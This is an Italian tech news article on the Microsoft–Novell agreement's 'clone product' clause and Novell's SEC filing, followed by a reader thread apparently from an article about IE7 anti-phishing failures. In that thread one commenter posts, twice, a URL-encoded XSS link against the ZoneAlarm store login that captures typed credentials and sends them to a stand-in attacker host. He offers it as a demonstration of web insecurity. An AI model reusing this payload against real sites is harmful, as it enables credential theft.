MS e Novell: guai ai cloni dei software made in Redmond

Novell ha reso pubblico il testo dell'accordo di collaborazione stipulato con Microsoft lo scorso novembre e, nello stesso tempo, ha ammesso le proprie preoccupazioni relative alla licenza GPL3

Washington – Il ben noto accordo di cooperazione che lega Microsoft e Novell non ha quasi più segreti. Pochi giorni fa il testo del contratto stipulato lo scorso novembre tra le due aziende è infatti stato pubblico sul sito della Securities and Exchange Commission.

Sebbene i dettagli dell’accordo fossero in larga parte già noti, nelle 27 pagine che lo compongono si trova almeno un’informazione inedita: la definizione di ” clone product “.

I “cloni” sarebbero, stando a quanto emerge dall’accordo, quei software che mimano più o meno fedelmente le funzionalità e l’interfaccia grafica dei prodotti di BigM o implementano le medesime Application Programming Interface (API): tali prodotti, secondo i termini dell’intesa, non sono coperti delle protezioni legali fornite da Microsoft agli utenti di SUSE Linux. Come si può immaginare, in tale definizione potrebbero rientrare non pochi software open source, a partire da OpenOffice, Wine, Mono ed Evolution.

Va detto che il testo del documento, su questo punto, è tutt’altro che chiaro: ad esempio, cita espressamente i nomi di OpenOffice, Wine e OpenXchange senza però asserire esplicitamente che questi siano dei “cloni”. Ma il solo fatto di citarli, seppure per escluderli da un’eccezione alla clausola, mette di fatto questi prodotti fra quelli più a rischio .

Nel rapporto di 144 pagine presentato alla SEC da Novell si trova almeno un altro punto d’interesse. Nella sezione Risks , dove l’azienda elenca i rischi potenziali al proprio business, Novell ammette che l’imminente approvazione della licenza GPL3 potrebbe impedire a Microsoft di continuare a distribuire certificati di SUSE Linux o impedire a Novell di distribuire codice coperto da questa licenza.

Novell elenca anche tra i rischi l’eventuale, ma improbabile, sconfitta in tribunale contro SCO Group . Come si ricorderà, le due aziende sono in causa per una complessa questione relativa alle proprietà intellettuali di Unix System V.

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  • Giorgio Maone scrive:
    DLL? Che bisogno c'era?
    Utenti registrati di ZoneAlarm? C'è nessuno?Cliccate qui: https://www.zonealarm.com/store/application?namespace=zls_user&origin=glo%22%3E%3Cscript%3Efunction%20xss()%20%7B%0A%20var%20f%20%3D%20document.forms%5B2%5D%3B%20%2F%2F%20grab%20the%203rd%20form%20in%20the%20page%2C%20the%20login%20one%0A%20%0A%20if(!(f%20%26%26%20f.zl_user_name%20%26%26%20f.zl_user_password))%20return%20%2F%2F%20nothing%20to%20see%20here%0A%20if(f.zl_user_name.value%20%26%26%20f.zl_user_password.value)%20%7B%0A%20%20%20%2F%2F%20we%27ve%20got%20everything%2C%20let%27s%20phone%20home%0A%20%20%20new%20Image().src%3D%22hxxp%3A%2F%2Felio-the-evil-hacker.com%3Fu%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_name.value)%20%2B%20%22%26p%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_password.value)%3B%0A%0A%20%20%2F%2F%20OK%2C%20this%20is%20just%20a%20demo%0A%20%20document.body.innerHTML%20%3D%20%22Your%20credentials%20have%20just%20been%20stolen%3A%3Cbr%3E%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_name.value%20%2B%20%22%2C%20%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_password.value%20%2B%20%22%3Ch1%3EMWAHAHAHA!%3C%2Fh1%3E%22%3B%0A%20%20return%3B%0A%20%7D%0A%20if((f.zl_user_password.onchange%20%7C%7C%20null)%20%3D%3D%20xss)%20return%3B%0A%20f.zl_user_name.onchange%20%3D%20xss%3B%0A%20f.zl_user_password.onchange%20%3D%20xss%3B%0A%20%0A%7D%0Awindow.onload%20%3D%20xss%3B%3C/script%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22bal.jsp&event=link.login&dc=34std&ctry=DE&lang=en O)Anche se non sei un utente ZA, prova a loggarti con credenziali inventate. Tanto la connessione è sicura e il sito autentico, garantisce l'antiphishing (quello di IE, di Firefox, quello che vuoi, su Windows, su Mac o su Linux).Vedrai che divertimento ;)Inutile dare tutta la colpa a una DLL, o a Windows (che pure ne ha) o a Internet Exploiter (che pure ne ha).Il web è bacato e gli esperti lo sanno. O dovrebbero saperlo... Zone Alarm non si occupava di sicurezza?!Nessuno vuole ammetterlo con gli utenti finali, perché la responsabilità è della negligenza di chi sviluppa applicazioni web e l'unica contromisura disponibile per i "consumatori" (che parola orribile!) è considerata troppo radicale e antisistema, oltre che gratuita e open-source (ohibò!): http://noscript.netContinuiamo a farci del male... :p( Original XSS PoCs courtesy of Mario & Elio )-----------------------------------------------------------Modificato dall' autore il 30 maggio 2007 16.24-----------------------------------------------------------
  • Giorgio Maone scrive:
    DLL? Che bisogno c'era?
    Utenti registrati di ZoneAlarm? C'è nessuno?Cliccate qui: https://www.zonealarm.com/store/application?namespace=zls_user&origin=glo%22%3E%3Cscript%3Efunction%20xss()%20%7B%0A%20var%20f%20%3D%20document.forms%5B2%5D%3B%20%2F%2F%20grab%20the%203rd%20form%20in%20the%20page%2C%20the%20login%20one%0A%20%0A%20if(!(f%20%26%26%20f.zl_user_name%20%26%26%20f.zl_user_password))%20return%20%2F%2F%20nothing%20to%20see%20here%0A%20if(f.zl_user_name.value%20%26%26%20f.zl_user_password.value)%20%7B%0A%20%20%20%2F%2F%20we%27ve%20got%20everything%2C%20let%27s%20phone%20home%0A%20%20%20new%20Image().src%3D%22hxxp%3A%2F%2Felio-the-evil-hacker.com%3Fu%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_name.value)%20%2B%20%22%26p%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_password.value)%3B%0A%0A%20%20%2F%2F%20OK%2C%20this%20is%20just%20a%20demo%0A%20%20document.body.innerHTML%20%3D%20%22Your%20credentials%20have%20just%20been%20stolen%3A%3Cbr%3E%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_name.value%20%2B%20%22%2C%20%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_password.value%20%2B%20%22%3Ch1%3EMWAHAHAHA!%3C%2Fh1%3E%22%3B%0A%20%20return%3B%0A%20%7D%0A%20if((f.zl_user_password.onchange%20%7C%7C%20null)%20%3D%3D%20xss)%20return%3B%0A%20f.zl_user_name.onchange%20%3D%20xss%3B%0A%20f.zl_user_password.onchange%20%3D%20xss%3B%0A%20%0A%7D%0Awindow.onload%20%3D%20xss%3B%3C/script%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22bal.jsp&event=link.login&dc=34std&ctry=DE&lang=en O)Anche se non sei un utente ZA, prova a loggarti con credenziali inventate. Tanto la connessione è sicura e il sito autentico, garantisce l'antiphishing (quello di IE, di Firefox, quello che vuoi, su Windows, su Mac o su Linux).Vedrai che divertimento ;)Inutile dare tutta la colpa a una DLL, o a Windows (che pure ne ha) o a Internet Exploiter (che pure ne ha).Il web è bacato e gli esperti lo sanno. O dovrebbero saperlo... Zone Alarm non si occupava di sicurezza?!Nessuno vuole ammetterlo con gli utenti finali, perché la responsabilità è della negligenza di chi sviluppa applicazioni web e l'unica contromisura disponibile per i "consumatori" (che parola orribile!) è considerata troppo radicale e antisistema, oltre che gratuita e open-source (ohibò!): http://noscript.netContinuiamo a farci del male... :p( Original XSS PoCs courtesy of Mario & Elio )-----------------------------------------------------------Modificato dall' autore il 30 maggio 2007 16.24-----------------------------------------------------------
    • Anonimo scrive:
      Re: DLL? Che bisogno c'era?
      - Scritto da: Giorgio Maone
      Utenti registrati di ZoneAlarm? C'è nessuno?

      Cliccate qui:
      https://www.zonealarm.com/store/application?namesp

      Anche se non sei un utente ZA, prova a loggarti
      con credenziali inventate. Tanto la connessione è
      sicura e il sito autentico, garantisce
      l'antiphishing (quello di IE, di Firefox, quello
      che vuoi, su Windows, su Mac o su
      Linux).

      Vedrai che divertimento ;)

      Inutile dare tutta la colpa a una DLL, o a
      Windows (che pure ne ha) o a Internet Exploiter
      (che pure ne
      ha).

      Il web è bacato e gli esperti lo sanno. O
      dovrebbero saperlo... Zone Alarm non si occupava
      di
      sicurezza?!

      Nessuno vuole ammetterlo con gli utenti finali,
      perché la responsabilità è della negligenza di
      chi sviluppa applicazioni web e l'unica
      contromisura disponibile per i "consumatori" (che
      parola orribile!) è considerata troppo radicale e
      antisistema, oltre che gratuita e open-source
      (ohibò!):
      http://noscript.net

      Continuiamo a farci del male... :p

      ( Original XSS PoCs courtesy of Mario &
      Elio )
      Come dire :Chi si schianta in AUTO non è un deficiente, la colpa non è delle auto, ma delle strade che essendo d'asfalto provocano incidenti !Capisci ora la cavolata ???Ciao
      • Giorgio Maone scrive:
        Re: DLL? Che bisogno c'era?
        - Scritto da: anonimo

        Come dire :

        Chi si schianta in AUTO non è un deficiente, la
        colpa non è delle auto, ma delle strade che
        essendo d'asfalto provocano incidenti
        !

        Capisci ora la cavolata ???Ho come l'impressione che tu non abbia seguito il mio link, o se l'hai fatto, non abbia capito cosa succede.Tuttavia la tua metafora "automobilistica" mi piace, quindi proviamo a renderla più aderente alla situazione reale.Sul web nessuno si cura di manutenere le strade per renderle sicure. Le buche nell'asfalto vengono lasciate dove sono per mesi, se non per anni (la vulnerabilita dell'area e-commerce di ZoneAlarm che ti ho illustrato è lì da almeno un mese, sembra che non sappiano come si analizza un file di log).Di fronte ad ogni centro commerciale vengono installate gimcane e rampe di salto, per rendere "l'esperienza del cliente" più eccitante.In compenso ad ogni incrocio sono installate telecamere, per accertarsi che l'automobilista-consumatore vada a fare shopping nei posti giusti.Hai ragione sui produttori di automobili, perché effettivamente quasi tutte le AUTO vengono costruite prive di freni, altrimenti la guida non sarebbe abbastanza divertente, e di finestrini, altrimenti non si potrebbero lanciare volantini pubblicitari direttamente sul cruscotto e l'identificazione del conducente risulterebbe meno agevole. In compenso sono tutte dotate di GPS e tracciabili in tempo reale.Quindi le opzioni sono: 1. non esci di casa2. esci a piedi (Lynx) e possibilmente vai solo in campagna3. trucchi l'automobile per cercare di sopravvivere alla giungla d'asfalto ( http://noscript.net e http://tor.eff.org )4. vai spensierato con l'auto di serie a rischio di schiantarti Scegliere 4 è probabilmente da deficienti, come dici tu, ma il 90% degli utenti ignora che esistano alternative (mentre 1 e 2 finiranno presto per essere impraticabili).Ciao
      • Giorgio Maone scrive:
        Re: DLL? Che bisogno c'era?
        - Scritto da: anonimo

        Come dire :

        Chi si schianta in AUTO non è un deficiente, la
        colpa non è delle auto, ma delle strade che
        essendo d'asfalto provocano incidenti
        !

        Capisci ora la cavolata ???Ho come l'impressione che tu non abbia seguito il mio link, o se l'hai fatto, non abbia capito cosa succede.Tuttavia la tua metafora "automobilistica" mi piace, quindi proviamo a renderla più aderente alla situazione reale.Sul web nessuno si cura di manutenere le strade per renderle sicure. Le buche nell'asfalto vengono lasciate dove sono per mesi, se non per anni (la vulnerabilita dell'area e-commerce di ZoneAlarm che ti ho illustrato è lì da almeno un mese, sembra che non sappiano come si analizza un file di log).Di fronte ad ogni centro commerciale vengono installate gimcane e rampe di salto, per rendere "l'esperienza del cliente" più eccitante.In compenso ad ogni incrocio sono installate telecamere, per accertarsi che l'automobilista-consumatore vada a fare shopping nei posti giusti.Hai ragione sui produttori di automobili, perché effettivamente quasi tutte le AUTO vengono costruite prive di freni, altrimenti la guida non sarebbe abbastanza divertente, e di finestrini, altrimenti non si potrebbero lanciare volantini pubblicitari direttamente sul cruscotto e l'identificazione del conducente risulterebbe meno agevole. In compenso sono tutte dotate di GPS e tracciabili in tempo reale.Quindi le opzioni sono: 1. non esci di casa2. esci a piedi (Lynx) e possibilmente vai solo in campagna3. trucchi l'automobile per cercare di sopravvivere alla giungla d'asfalto ( http://noscript.net e http://tor.eff.org )4. vai spensierato con l'auto di serie a rischio di schiantarti Scegliere 4 è probabilmente da deficienti, come dici tu, ma il 90% degli utenti ignora che esistano alternative (mentre 1 e 2 finiranno presto per essere impraticabili).Ciao
    • Anonimo scrive:
      Re: DLL? Che bisogno c'era?
      - Scritto da: Giorgio Maone
      Utenti registrati di ZoneAlarm? C'è nessuno?

      Cliccate qui:
      https://www.zonealarm.com/store/application?namesp

      Anche se non sei un utente ZA, prova a loggarti
      con credenziali inventate. Tanto la connessione è
      sicura e il sito autentico, garantisce
      l'antiphishing (quello di IE, di Firefox, quello
      che vuoi, su Windows, su Mac o su
      Linux).

      Vedrai che divertimento ;)

      Inutile dare tutta la colpa a una DLL, o a
      Windows (che pure ne ha) o a Internet Exploiter
      (che pure ne
      ha).

      Il web è bacato e gli esperti lo sanno. O
      dovrebbero saperlo... Zone Alarm non si occupava
      di
      sicurezza?!

      Nessuno vuole ammetterlo con gli utenti finali,
      perché la responsabilità è della negligenza di
      chi sviluppa applicazioni web e l'unica
      contromisura disponibile per i "consumatori" (che
      parola orribile!) è considerata troppo radicale e
      antisistema, oltre che gratuita e open-source
      (ohibò!):
      http://noscript.net

      Continuiamo a farci del male... :p

      ( Original XSS PoCs courtesy of Mario &
      Elio )
      Come dire :Chi si schianta in AUTO non è un deficiente, la colpa non è delle auto, ma delle strade che essendo d'asfalto provocano incidenti !Capisci ora la cavolata ???Ciao
  • Anonimo scrive:
    Questa news è puro FUD
    Questa news è puro FUD
  • Anonimo scrive:
    Questa news è puro FUD
    Questa news è puro FUD
  • bt scrive:
    Bruce Schneier
    La notizia è anche apparsa ieri nel blog di Bruce Schneier: http://www.schneier.com/blog/archives/2007/05/interesting_spo.html
  • bt scrive:
    Bruce Schneier
    La notizia è anche apparsa ieri nel blog di Bruce Schneier: http://www.schneier.com/blog/archives/2007/05/interesting_spo.html
  • Anonimo scrive:
    I filtri antiphishing hanno fallito
    pessima figura
  • Anonimo scrive:
    I filtri antiphishing hanno fallito
    pessima figura
    • Anonimo scrive:
      Re: I filtri antiphishing hanno fallito
      - Scritto da:
      pessima figuradovevi scrivere :meditate gente...meditate...(anonimo)
    • Anonimo scrive:
      Re: I filtri antiphishing hanno fallito
      - Scritto da:
      pessima figuradovevi scrivere :meditate gente...meditate...(anonimo)
  • Anonimo scrive:
    e su Linux...;-)
    E su Linux nulla di tutto ciò... come al solito direte ma è così...Ed ora diamo il via ai detrattori di GNU-Linux prego...
  • Anonimo scrive:
    e su Linux...;-)
    E su Linux nulla di tutto ciò... come al solito direte ma è così...Ed ora diamo il via ai detrattori di GNU-Linux prego...
    • Madder scrive:
      Re: e su Linux...;-)
      Sono un utente GNU/Linux ma... la colpa non è tanto di IE7, quanto, come al solito, degli utenti. Anche su linux potresti installare un addon in una cartella personale (valido solo per te come utente), senza usare l'utente amministratore, il quale potrebbe tranquillamente invalidare i sistemi di anti-phishing. Quello che cambia è che, in media, l'utente linux è molto più "savvy" di un utente windows e anche molto più paranoico sulle questioni di sicurezza e software da installare. madder
      • Anonimo scrive:
        Re: e su Linux...;-)

        Sono un utente GNU/Linux ma... la colpa non è
        tanto di IE7, quanto, come al solito, degli
        utenti.


        Anche su linux potresti installare un addon in
        una cartella personale (valido solo per te come
        utente), senza usare l'utente amministratore, il
        quale potrebbe tranquillamente invalidare i
        sistemi di anti-phishing.No, non dirglielo potrebbe svegliarsi :$

        Quello che cambia è che, in media, l'utente linux
        è molto più "savvy" di un utente windows e anche
        molto più paranoico sulle questioni di sicurezza
        e software da installare.Già, vorrei vedere se dessimo a tutte le zie pine ubuntu, quanto resisterebbero...
        • d scrive:
          Re: e su Linux...;-)
          - Scritto da:

          Quello che cambia è che, in media, l'utente
          linux

          è molto più "savvy" di un utente windows e anche

          molto più paranoico sulle questioni di sicurezza

          e software da installare.

          Già, vorrei vedere se dessimo a tutte le zie
          pine ubuntu, quanto resisterebbero...Guarda che e' proprio quello che diceva madder: la zia pina rimane sempre la zia pina, anche con ubuntu. Ergo: il problema sono gli utenti.
        • d scrive:
          Re: e su Linux...;-)
          - Scritto da:

          Quello che cambia è che, in media, l'utente
          linux

          è molto più "savvy" di un utente windows e anche

          molto più paranoico sulle questioni di sicurezza

          e software da installare.

          Già, vorrei vedere se dessimo a tutte le zie
          pine ubuntu, quanto resisterebbero...Guarda che e' proprio quello che diceva madder: la zia pina rimane sempre la zia pina, anche con ubuntu. Ergo: il problema sono gli utenti.
      • Anonimo scrive:
        Re: e su Linux...;-)

        Sono un utente GNU/Linux ma... la colpa non è
        tanto di IE7, quanto, come al solito, degli
        utenti.


        Anche su linux potresti installare un addon in
        una cartella personale (valido solo per te come
        utente), senza usare l'utente amministratore, il
        quale potrebbe tranquillamente invalidare i
        sistemi di anti-phishing.No, non dirglielo potrebbe svegliarsi :$

        Quello che cambia è che, in media, l'utente linux
        è molto più "savvy" di un utente windows e anche
        molto più paranoico sulle questioni di sicurezza
        e software da installare.Già, vorrei vedere se dessimo a tutte le zie pine ubuntu, quanto resisterebbero...
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da: Madder[...]
        Anche su linux potresti installare un addon in
        una cartella personale (valido solo per te come
        utente), senza usare l'utente amministratore, il
        quale potrebbe tranquillamente invalidare i
        sistemi di anti-phishing.


        Quello che cambia è che, in media, l'utente linux
        è molto più "savvy" di un utente windows e anche
        molto più paranoico sulle questioni di sicurezza
        e software da installare.


        madderC'è però da dire che anche il sistema è più paranoico, e che di base, invece della filosofia "Faccio funzionare tutto tranne i programmi che so essere cattivi" (Windows) adotta un più razionale approccio "Non faccio funzionare nulla tranne i programmi che so essere buoni"!È chiaro comunque, che l'utente ci mette un buon 80% sul versante sicurezza.
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da: Madder[...]
        Anche su linux potresti installare un addon in
        una cartella personale (valido solo per te come
        utente), senza usare l'utente amministratore, il
        quale potrebbe tranquillamente invalidare i
        sistemi di anti-phishing.


        Quello che cambia è che, in media, l'utente linux
        è molto più "savvy" di un utente windows e anche
        molto più paranoico sulle questioni di sicurezza
        e software da installare.


        madderC'è però da dire che anche il sistema è più paranoico, e che di base, invece della filosofia "Faccio funzionare tutto tranne i programmi che so essere cattivi" (Windows) adotta un più razionale approccio "Non faccio funzionare nulla tranne i programmi che so essere buoni"!È chiaro comunque, che l'utente ci mette un buon 80% sul versante sicurezza.
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da: Madder
        Sono un utente GNU/Linux ma... la colpa non è
        tanto di IE7, quanto, come al solito, degli
        utenti.


        Anche su linux potresti installare un addon in
        una cartella personale (valido solo per te come
        utente), senza usare l'utente amministratore, il
        quale potrebbe tranquillamente invalidare i
        sistemi di anti-phishing.


        Quello che cambia è che, in media, l'utente linux
        è molto più "savvy" di un utente windows e anche
        molto più paranoico sulle questioni di sicurezza
        e software da installare.


        madderFALSO, se dai ad un utente (anche il più imbranato) una macchina più sicura questo farà molti MENO danni che con una macchina che è insicura di base.Anzi proprio la percentuale di sicurezza di base che limita l'utonto !Sono stato chiamato da una segretaria che si lamentava che un programma NON funzionava: Era l'antivirus che lo proibiva perchè era un troian VIRUS !! Faglielo capire .. Questa borbottava che non funzionava perchè era rotto il PC ... Meno male che l'antivirus aveva funzionato, se no, erano guai seri ! Dunque se l'utonza provoca per 80% guai, su un Linux avremmo circa 10 guai, su Windows avremmo 10000 guai !Ciao
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da: Madder
        Sono un utente GNU/Linux ma... la colpa non è
        tanto di IE7, quanto, come al solito, degli
        utenti.


        Anche su linux potresti installare un addon in
        una cartella personale (valido solo per te come
        utente), senza usare l'utente amministratore, il
        quale potrebbe tranquillamente invalidare i
        sistemi di anti-phishing.


        Quello che cambia è che, in media, l'utente linux
        è molto più "savvy" di un utente windows e anche
        molto più paranoico sulle questioni di sicurezza
        e software da installare.


        madderFALSO, se dai ad un utente (anche il più imbranato) una macchina più sicura questo farà molti MENO danni che con una macchina che è insicura di base.Anzi proprio la percentuale di sicurezza di base che limita l'utonto !Sono stato chiamato da una segretaria che si lamentava che un programma NON funzionava: Era l'antivirus che lo proibiva perchè era un troian VIRUS !! Faglielo capire .. Questa borbottava che non funzionava perchè era rotto il PC ... Meno male che l'antivirus aveva funzionato, se no, erano guai seri ! Dunque se l'utonza provoca per 80% guai, su un Linux avremmo circa 10 guai, su Windows avremmo 10000 guai !Ciao
    • Madder scrive:
      Re: e su Linux...;-)
      Sono un utente GNU/Linux ma... la colpa non è tanto di IE7, quanto, come al solito, degli utenti. Anche su linux potresti installare un addon in una cartella personale (valido solo per te come utente), senza usare l'utente amministratore, il quale potrebbe tranquillamente invalidare i sistemi di anti-phishing. Quello che cambia è che, in media, l'utente linux è molto più "savvy" di un utente windows e anche molto più paranoico sulle questioni di sicurezza e software da installare. madder
    • Anonimo scrive:
      Re: e su Linux...;-)
      E su linux non ti gira neanche il sito perchè il "webmaster" ha ben pensato di fare tutto con frontpage. Più sicurezza di così...
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da:
        E su linux non ti gira neanche il sito perchè il
        "webmaster" ha ben pensato di fare tutto con
        frontpage.vuol dire che il sito non meritava di esser visitato.
        Più sicurezza di
        così...sicurezza...e buon gusto 8) 8)
        • Anonimo scrive:
          Re: e su Linux...;-)
          - Scritto da:

          - Scritto da:

          E su linux non ti gira neanche il sito perchè il

          "webmaster" ha ben pensato di fare tutto con

          frontpage.

          vuol dire che il sito non meritava di esser
          visitato.


          Più sicurezza di

          così...

          sicurezza...e buon gusto 8)

          8)maialazza!!! :D
        • Anonimo scrive:
          Re: e su Linux...;-)
          - Scritto da:

          - Scritto da:

          E su linux non ti gira neanche il sito perchè il

          "webmaster" ha ben pensato di fare tutto con

          frontpage.

          vuol dire che il sito non meritava di esser
          visitato.


          Più sicurezza di

          così...

          sicurezza...e buon gusto 8)

          8)maialazza!!! :D
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da:
        E su linux non ti gira neanche il sito perchè il
        "webmaster" ha ben pensato di fare tutto con
        frontpage. frontpage è nettamente superiore a quella schifezza di editor html incluso in open office
      • Anonimo scrive:
        Re: e su Linux...;-)
        - Scritto da:
        E su linux non ti gira neanche il sito perchè il
        "webmaster" ha ben pensato di fare tutto con
        frontpage. frontpage è nettamente superiore a quella schifezza di editor html incluso in open office
    • Anonimo scrive:
      Re: e su Linux...;-)
      E su linux non ti gira neanche il sito perchè il "webmaster" ha ben pensato di fare tutto con frontpage. Più sicurezza di così...
  • Anonimo scrive:
    Fico...
    Per mesi hanno sbandierato il fatto che la più grande innovazione di IE7, a parte tutto quello che hanno copiato da Firefox, fossero i filtri antiphishig... e questi sono i risultati...
  • Anonimo scrive:
    Fico...
    Per mesi hanno sbandierato il fatto che la più grande innovazione di IE7, a parte tutto quello che hanno copiato da Firefox, fossero i filtri antiphishig... e questi sono i risultati...
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